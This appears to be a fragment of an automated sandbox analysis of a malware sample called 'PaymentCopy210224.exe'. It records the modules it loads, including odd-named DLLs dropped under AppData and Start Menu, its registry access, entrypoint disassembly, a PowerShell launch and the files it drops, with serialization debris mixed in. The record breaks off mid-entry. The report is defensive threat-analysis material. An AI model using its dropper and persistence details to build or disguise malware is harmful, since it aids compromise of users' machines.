"%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73920000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\DWMAPI.DLL" at base 73590000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTBASE.DLL" at base 74c20000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 6beb0000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\CLBCATQ.DLL" at base 762b0000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 741c0000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\SHFOLDER.DLL" at base 71fb0000 "PaymentCopy210224.exe" loaded module "CRYPTBASE.DLL" at base 74c20000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73880000 "PaymentCopy210224.exe" loaded module "OLE32.DLL" at base 75080000 "PaymentCopy210224.exe" loaded module "KERNEL32.DLL" at base 76130000 "PaymentCopy210224.exe" loaded module "COMCTL32.DLL" at base 73c50000 "PaymentCopy210224.exe" loaded module "OLEAUT32.DLL" at base 76790000 "PaymentCopy210224.exe" loaded module "SETUPAPI.DLL" at base 76bb0000 "PaymentCopy210224.exe" loaded module "RPCRT4.DLL" at base 76490000 "PaymentCopy210224.exe" loaded module "CLBCATQ.DLL" at base 762b0000 "PaymentCopy210224.exe" loaded module "NTMARTA.DLL" at base 73b70000 "PaymentCopy210224.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75060000 "PaymentCopy210224.exe" loaded module "PROFAPI.DLL" at base 74d40000 "PaymentCopy210224.exe" loaded module "%APPDATA%\MICROSOFT\WINDOWS\PRINTER SHORTCUTS\SELVTILSTRKKELIG.DLL" at base 0 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\RICHED20.DLL" at base 69ce0000 "PaymentCopy210224.exe" loaded module "DWMAPI.DLL" at base 73590000 "PaymentCopy210224.exe" loaded module "COMCTL32.DLL" at base 71970000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 75080000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76d50000 "PaymentCopy210224.exe" loaded module "SHELL32.DLL" at base 75340000 "PaymentCopy210224.exe" loaded module "PROPSYS.DLL" at base 73920000 "PaymentCopy210224.exe" loaded module "%APPDATA%\MICROSOFT\WINDOWS\START MENU\EVAKUERINGSVELSEN51.DLL" at base 0 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75340000 "PaymentCopy210224.exe" loaded module "%USERPROFILE%\LIKINGLY\HAMPS.DLL" at base 0 "PaymentCopy210224.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS\START MENU\EVAKUERINGSVELSEN51.DLL" at base 0 "PaymentCopy210224.exe" loaded module "COMCTL32" at base 73c50000 "PaymentCopy210224.exe" loaded module "UXTHEME.DLL" at base 73880000 "PaymentCopy210224.exe" loaded module "%APPDATA%\MICROSOFT\WINDOWS\PRINTER SHORTCUTS\FLAGSMYKKES\UNCONFORMABLE.DLL" at base 0 "PaymentCopy210224.exe" loaded module "%TEMP%\NSL97DC.TMP\NSEXEC.DLL" at base 10000000 "PaymentCopy210224.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74bd0000 "nsCCE1.tmp" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 713c0000 "nsCCE1.tmp" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "nsCCE1.tmp" loaded module "KERNEL32" at base 76130000 "nsCCE1.tmp" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "nsCCE1.tmp" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74bd0000 "powershell.exe" loaded module "COMCTL32.DLL" at base 73c50000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 751e0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 76130000 "powershell.exe" loaded module "SHELL32.DLL" at base 75340000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 76790000 "powershell.exe" loaded module "OLE32.DLL" at base 75080000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76130000 "powershell.exe" loaded module "SETUPAPI.DLL" at base 76bb0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73920000 "powershell.exe" loaded module "RPCRT4.DLL" at base 76490000 "powershell.exe" loaded module "NTMARTA.DLL" at base 73b70000 "powershell.exe" loaded module "APPHELP.DLL" at base 74bd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6fa20000 "powershell.exe" loaded module "PROPSYS.DLL" at base 73920000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 75340000 "powershell.exe" loaded module "LINKINFO.DLL" at base 70af0000 "powershell.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75060000 "powershell.exe" loaded module "PROFAPI.DLL" at base 74d40000 "powershell.exe" loaded module "USER32.DLL" at base 75fb0000 "powershell.exe" loaded module "NTSHRUI.DLL" at base 72080000 "powershell.exe" loaded module "SRVCLI.DLL" at base 748d0000 "powershell.exe" loaded module "CSCAPI.DLL" at base 72070000 "powershell.exe" loaded module "SLC.DLL" at base 730e0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 76f80000 "powershell.exe" loaded module "CRYPTSP.DLL" at base 74730000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 744c0000 "powershell.exe" loaded module "CRYPTBASE.DLL" at base 74c20000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 713c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "powershell.exe" loaded module "KERNEL32" at base 76130000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6bfa0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "VERSION.DLL" at base 741c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORWKS.DLL" at base 64950000 "powershell.exe" loaded module "MSCOREE.DLL" at base 6c030000 "powershell.exe" loaded module "NTDLL" at base 76e20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6c030000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MSCORLIB\9F895C66454577EFF9C77442D0C84F71\MSCORLIB.NI.DLL" at base 63e50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLE32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM\AD92DAB7F418877D6A1E0358CE35658A\SYSTEM.NI.DLL" at base 636a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\8229F0505633D4BCEF019B9D4FAB9F18\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 68930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT.A#\84C47B5A5813A5F040AEE9715A0FF7C0\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 62b30000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 76120000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_MSIL\SYSTEM\2.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 76e20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CORE\BD9FF1A4363781A57E8F7392F230A203\SYSTEM.CORE.NI.DLL" at base 628f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\49CAE79AC18BAD142E1AB5A46A8AC306\MICROSOFT.POWERSHELL.COMMANDS.DIAGNOSTICS.NI.DLL" at base 69c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.CONFIGURATIO#\D6ACC39F6C1EA42D8B3150DB6184A969\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 71ef0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.WSMAN.MAN#\7BF5729401CFF7EA7898124E9818ED20\MICROSOFT.WSMAN.MANAGEMENT.NI.DLL" at base 688a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.TRANSACTIONS\FEC007EA17AC8956CC5D6D4074DADA6A\SYSTEM.TRANSACTIONS.NI.DLL" at base 68540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.TRANSACTIONS\2.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 68480000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\F1831CE4588265A3F72E0A581BA58F2A\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 65380000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\344E681515D07B93A4F1383F0D625E1E\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 62820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\MICROSOFT.POWERSHEL#\573750F17B5B8316F04A10956FDD1D97\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 69c60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\CULTURE.DLL" at base 6f370000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.XML\77C1DC46EA139BF5E1EAA9B87EF03C7A\SYSTEM.XML.NI.DLL" at base 622e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.MANAGEMENT\00C2B464E52D4E82C04D61592A12A89D\SYSTEM.MANAGEMENT.NI.DLL" at base 621d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DIRECTORYSER#\237ED1739105C1BEBE48D41905FDB3EE\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 620b0000 "powershell.exe" loaded module "SHFOLDER.DLL" at base 71fb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\MSCORLIB\2.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 74a50000 "powershell.exe" loaded module "SSPICLI.DLL" at base 74bb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V2.0.50727_32\SYSTEM.DATA\511C39D1EFA06D262A6B2F47E2726C73\SYSTEM.DATA.NI.DLL" at base 61a50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\GAC_32\SYSTEM.DATA\2.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 61770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\MSCORJIT.DLL" at base 61710000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V2.0.50727\DIASYMREADER.DLL" at base 61680000 "powershell.exe" loaded module "NETUTILS.DLL" at base 733d00002e:T719,"PaymentCopy210224.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "PaymentCopy210224.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}") "PaymentCopy210224.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Custom Destination List" (Path: "HKCU\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}") "powershell.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\TREATAS") "powershell.exe" touched "Internet Shortcut" (Path: "HKCU\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\SHELLFOLDER") "powershell.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{F3364BA0-65B9-11CE-A9BA-00AA004AE837}\INPROCSERVER32") "powershell.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS") "powershell.exe" touched "Shared Task Scheduler" (Path: "HKCU\CLSID\{603D3801-BD81-11D0-A3A5-00C04FD706EC}\TREATAS") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKCU\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")2f:T474,"Payment Copy 210224.exe" file has an entrypoint instructions - "sub esp, 0x184,push ebx,push esi,push edi,xor ebx, ebx,push 0x8001,mov dword ptr [esp + 0x18], ebx,mov dword ptr [esp + 0x10], 0x40a198,mov dword ptr [esp + 0x20], ebx,mov byte ptr [esp + 0x14], 0x20,call dword ptr [0x4080a0],call dword ptr [0x40809c],and eax, 0xbfffffff,cmp ax, 6,mov dword ptr [0x42f40c], eax,je 0x403243,push ebx,call 0x4062fd,cmp eax, ebx,je 0x403243,push 0xc00,call eax,mov esi, 0x408298,push esi,call 0x40628f,push esi,call dword ptr [0x408098]," "nsExec.dll" file has an entrypoint instructions - "mov eax, dword ptr [esp + 4],mov dword ptr [0x1000347c], eax,xor eax, eax,inc eax,ret 0xc,push ebp,mov ebp, esp,push ecx,push esi,push 0x1000300c,push 0x10003000,call dword ptr [0x1000200c],push eax,call dword ptr [0x1000204c],mov esi, eax,test esi, esi,je 0x100010ce,lea eax, [ebp - 4],push eax,call dword ptr [0x1000205c],push eax,call esi,test eax, eax,je 0x100010ce,mov eax, dword ptr [ebp - 4],jmp 0x100010d0,xor eax, eax,pop esi,leave ,ret ,push ebp,mov ebp, esp,sub esp, 0x234,mov al, byte ptr [0x10003478],push ebx,push esi,push edi,push 0x1f,"30:T1a76,Observed system executable string:"/C:\VXC4 PROGRA~2VXC4* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSdet-erxnhtdqkcv/C:\VXC4 PROGRA~2VXC4* MICROS~1VQt* WindowsSTARTM~1ProgramsVyd*ACCESS~1WINDOW~1WINDOW~1.LNKC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk1SPS1SPSdet-erxnhtdqkcv/C:\VX%4WindowsVX%4*VX%4System32VX%4*WINDOW~1v1.0powershell_ise.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe%systemroot%\system32\windowspowershell\v1.0\powershell_ise.exe1SPS1SPSdet-erxnhtdqkcv/C:\VX%4WindowsVX%4*hh.exeC:\Windows\hh.exe%systemroot%\hh.exe1SPS1SPSdet-erxnhtdqkcv" [Source: 03CIMQRCLK6G48CIZLE4.temp] Observed system executable string:"%WINDIR%\system32\windowspowershell\v1.0\powershell_ise.exe" [Source: 00000000-00005476-00000C28-4015489095] Observed system executable string:"%WINDIR%\system32\powershell.exe" [Source: 00000000-00005476-00000C28-15691907644] Observed system executable string:"%WINDIR%\system32\powershell.exe.ps1" [Source: 00000000-00005476-00000C28-15693251476] Observed system executable string:"%WINDIR%\system32\powershell.exe.psm1" [Source: 00000000-00005476-00000C28-15694543990] Observed system executable string:"%WINDIR%\system32\powershell.exe.psd1" [Source: 00000000-00005476-00000C28-15695891508] Observed system executable string:"%WINDIR%\system32\powershell.exe.COM" [Source: 00000000-00005476-00000C28-15697230370] Observed system executable string:"%WINDIR%\system32\powershell.exe.EXE" [Source: 00000000-00005476-00000C28-15698484098] Observed system executable string:"%WINDIR%\system32\powershell.exe.BAT" [Source: 00000000-00005476-00000C28-15699740966] Observed system executable string:"%WINDIR%\system32\powershell.exe.CMD" [Source: 00000000-00005476-00000C28-15701039176] Observed system executable string:"%WINDIR%\system32\powershell.exe.VBS" [Source: 00000000-00005476-00000C28-15702963694] Observed system executable string:"%WINDIR%\system32\powershell.exe.VBE" [Source: 00000000-00005476-00000C28-15704370466] Observed system executable string:"%WINDIR%\system32\powershell.exe.JS" [Source: 00000000-00005476-00000C28-15705729250] Observed system executable string:"%WINDIR%\system32\powershell.exe.JSE" [Source: 00000000-00005476-00000C28-15707028292] Observed system executable string:"%WINDIR%\system32\powershell.exe.WSF" [Source: 00000000-00005476-00000C28-15708363184] Observed system executable string:"%WINDIR%\system32\powershell.exe.WSH" [Source: 00000000-00005476-00000C28-15709650266] Observed system executable string:"%WINDIR%\system32\powershell.exe.MSC" [Source: 00000000-00005476-00000C28-15710932118] Observed system executable string:"%WINDIR%\powershell.exe" [Source: 00000000-00005476-00000C28-15712279174] Observed system executable string:"%WINDIR%\powershell.exe.ps1" [Source: 00000000-00005476-00000C28-15713583318] Observed system executable string:"%WINDIR%\powershell.exe.psm1" [Source: 00000000-00005476-00000C28-15714909628] Observed system executable string:"%WINDIR%\powershell.exe.psd1" [Source: 00000000-00005476-00000C28-15716247592] Observed system executable string:"%WINDIR%\powershell.exe.COM" [Source: 00000000-00005476-00000C28-15717529514] Observed system executable string:"%WINDIR%\powershell.exe.EXE" [Source: 00000000-00005476-00000C28-15718793194] Observed system executable string:"%WINDIR%\powershell.exe.BAT" [Source: 00000000-00005476-00000C28-15819311728] Observed system executable string:"%WINDIR%\powershell.exe.CMD" [Source: 00000000-00005476-00000C28-15820671370] Observed system executable string:"%WINDIR%\powershell.exe.VBS" [Source: 00000000-00005476-00000C28-15821938548] Observed system executable string:"%WINDIR%\powershell.exe.VBE" [Source: 00000000-00005476-00000C28-15823206836] Observed system executable string:"%WINDIR%\powershell.exe.JS" [Source: 00000000-00005476-00000C28-15824708134] Observed system executable string:"%WINDIR%\powershell.exe.JSE" [Source: 00000000-00005476-00000C28-15825994824] Observed system executable string:"%WINDIR%\powershell.exe.WSF" [Source: 00000000-00005476-00000C28-15827276134] Observed system executable string:"%WINDIR%\powershell.exe.WSH" [Source: 00000000-00005476-00000C28-15828577198] Observed system executable string:"%WINDIR%\powershell.exe.MSC" [Source: 00000000-00005476-00000C28-15829891522] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe" [Source: 00000000-00005476-00000C28-15831201964] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.ps1" [Source: 00000000-00005476-00000C28-15832469564] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psm1" [Source: 00000000-00005476-00000C28-15834164230] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.psd1" [Source: 00000000-00005476-00000C28-15835486008] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.COM" [Source: 00000000-00005476-00000C28-15837287144] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.EXE" [Source: 00000000-00005476-00000C28-15838969602] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.BAT" [Source: 00000000-00005476-00000C28-15840331724] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.CMD" [Source: 00000000-00005476-00000C28-15841604722] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBS" [Source: 00000000-00005476-00000C28-15842873336] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.VBE" [Source: 00000000-00005476-00000C28-15844152658] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JS" [Source: 00000000-00005476-00000C28-15845434342] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.JSE" [Source: 00000000-00005476-00000C28-15846792910] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSF" [Source: 00000000-00005476-00000C28-15848114396] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.WSH" [Source: 00000000-00005476-00000C28-15849361796] Observed system executable string:"%WINDIR%\System32\Wbem\powershell.exe.MSC" [Source: 00000000-00005476-00000C28-15850616968] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005476-00000C28-15851886580]31:Td3e,Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00005244-00000C25-38384849] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00005244-00000C25-38440467] Observed system executable string:"%WINDIR%\system32\CRYPTBASE.dll" [Source: 00000000-00005244-00000C25-38496147] Observed system executable string:"%WINDIR%\system32\OLEACC.dll" [Source: 00000000-00005244-00000C25-38607323] Observed system executable string:"%WINDIR%\system32\CLBCATQ.dll" [Source: 00000000-00005244-00000C25-38665066] Observed system executable string:"%WINDIR%\system32\VERSION.dll" [Source: 00000000-00005244-00000C25-38721151] Observed system executable string:"%WINDIR%\system32\SHFOLDER.dll" [Source: 00000000-00005244-00000C25-38776691] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005244-00000C25-38834375] Observed system executable string:"%APPDATA%\Microsoft\Windows\Printer Shortcuts\Selvtilstrkkelig.dll" [Source: 00000000-00005244-00000C25-39403611] Observed system executable string:"%WINDIR%\system32\RichEd20.dll" [Source: 00000000-00005244-00000C25-39466167] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00005244-00000C25-39884738] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00005244-00000C25-40301323] Observed system executable string:"%APPDATA%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" [Source: 00000000-00005244-00000C25-40596347] Observed system executable string:"%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Evakueringsvelsen51.dll" [Source: 00000000-00005244-00000C25-40901640] Observed system executable string:"%APPDATA%\Microsoft\Windows\Printer Shortcuts\flagsmykkes\unconformable.dll" [Source: 00000000-00005244-00000C25-54266922] Observed system executable string:"%WINDIR%\system32\shell32.dll" [Source: 00000000-00005476-00000C25-56353267] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005476-00000C25-58058632] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" [Source: 00000000-00005476-00000C25-58174607] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\mscorlib\9f895c66454577eff9c77442d0c84f71\mscorlib.ni.dll" [Source: 00000000-00005476-00000C25-58727262] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\ole32.dll" [Source: 00000000-00005476-00000C25-58796879] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll" [Source: 00000000-00005476-00000C25-58907431] Observed system executable string:"%WINDIR%\assembly\NativeImages_v2.0.50727_32\System\ad92dab7f418877d6a1e0358ce35658a\System.ni.dll" [Source: 00000000-00005476-00000C25-59052922] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" [Source: 00000000-00005476-00000C25-59307813] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005476-00000C25-59467669] Observed system executable string:"%WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005476-00000C25-59525658]32:T5b2,"nsExec.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsl97DC.tmp\nsExec.dll]- [targetUID: 00000000-00005244] "Manzanilla.lnk" has type "MS Windows shortcut Item id list present Has Relative path ctime=Mon Jan 1 00:00:00 1601 mtime=Mon Jan 1 00:00:00 1601 atime=Mon Jan 1 00:00:00 1601 length=0 window=hide"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Manzanilla.lnk]- [targetUID: 00000000-00005244] "Fremlejet.Kle" has type "data"- Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Citronsommerfuglene\Vaabenbesiddelse\Fdselsoverskuddet246\Homoseksualisme\Fremlejet.Kle]- [targetUID: 00000000-00005244] "Androidal.Sub" has type "ASCII text with very long lines with no line terminators"- Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Androidal.Sub]- [targetUID: 00000000-00005244] "Rekylgevrets119.pah" has type "data"- Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\Rekylgevrets119.pah]- [targetUID: 00000000-00005244] "cytoglobin.txt" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\fcp\tartuffery\appelinstans\Insected\Bnskraft\Kenotafium\Usquabaes\cytoglobin.txt]- [targetUID: 00000000-00005244] "nsCCE1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsl97DC.tmp\nsCCE1.tmp]- [targetUID: 00000000-00005244]33:T836,"PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MOUNTPOINTS2\CPC\VOLUME\{DCBFAAC4-D863-11E7-B9FF-806E6F6E6963}\"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\EXPLORER"; Key: ""; Value: "") "PaymentCopy210224.exe" (Access type: "OPEN"; Path: 